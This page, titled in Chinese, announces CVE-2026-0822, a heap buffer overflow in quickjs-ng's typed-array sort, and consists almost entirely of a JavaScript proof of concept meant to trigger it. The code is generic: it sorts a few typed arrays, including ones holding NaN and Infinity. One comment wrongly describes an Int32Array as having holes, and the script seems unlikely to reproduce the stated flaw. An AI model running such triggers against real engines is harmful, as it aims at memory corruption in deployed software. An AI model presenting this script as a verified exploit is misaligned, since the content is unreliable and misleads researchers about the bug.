CVE-2026-0822 quickjs-ng quickjs js_typed_array_sort堆缓冲区溢出漏洞

// CVE-2026-0822 PoC - TypedArray sort heap buffer overflow // Target: quickjs-ng quickjs <= 0.11.0 // Create a TypedArray with specific size to trigger overflow condition const maliciousArray = new Uint8Array(256); // Fill array with values that trigger edge case in sort algorithm for (let i = 0; i < 256; i++) { maliciousArray[i] = (i * 7) % 256; } // Add NaN or Infinity values to trigger sorting edge cases const typedArrayWithSpecial = new Float64Array([ NaN, Infinity, -Infinity, 0, -0, 1.5, -1.5 ]); // Create array with hole/undefined elements const sparseTypedArray = new Int32Array(10); sparseTypedArray[0] = 100; sparseTypedArray[5] = 50; // Trigger the vulnerable code path try { maliciousArray.sort(); typedArrayWithSpecial.sort(); sparseTypedArray.sort(); } catch (e) { console.log('Exception caught:', e.message); } // Additional trigger with comparison function const triggerArray = new Uint8Array([255, 0, 128, 1, 127, 2]); triggerArray.sort((a, b) => a - b); console.log('PoC executed - check for crash or abnormal behavior');